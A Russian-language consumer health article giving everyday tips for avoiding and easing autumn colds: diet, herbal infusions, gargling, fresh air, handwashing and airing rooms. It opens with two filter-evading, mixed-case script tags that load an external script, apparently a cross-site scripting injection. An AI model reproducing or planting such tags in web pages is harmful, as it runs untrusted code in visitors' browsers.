<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Как уберечься от осенней простуды
Первые
холода, промозглый ветер, дожди и прохлада в квартире - все это факторы риска,
от которых до осенней простуды один шаг. Что нужно, чтобы не заболеть?
В первую очередь следует укрепить иммунную систему.
Для этого нужны Омега-3 жирные кислоты, которые содержатся в нужном количестве
в рыбе (рыбу стоит есть как минимум раз в неделю). Очень полезны бананы и
шоколад в умеренных количествах. Бананы содержат калий, бесценный для сердечной
мышцы. Очень полезны для иммунитета и для хорошего самочувствия осенью тыква, орехи
и фасоль, имбирь и сухофрукты.
Можно заваривать зверобой и лимонник, это мягкие
тонизирующие средства.
При первых признаках простуды - действуйте
немедленно.
Если побаливает горло, полощите его заваренной
ромашкой, появился насморк, промывайте нос несколько раз в день. Очень полезны
ингаляции и аромалампы с маслом пихты или можжевельника.
Если температуры нет, каждый день не менее получаса
проводите на свежем воздухе. Это улучшает кровообращение и помогает иммунитету
бороться с вирусами. Кроме того, это просто приятно.
Чтобы не заразить членов семьи, почаще мойте руки. В
течение дня человек, особенно простуженный - неизбежно касается своего носа и
глаз, в результате чего на руки попадают вирусы со слизистых оболочек.
Несколько раз в день проветривайте квартиру, даже если
на улице прохладно.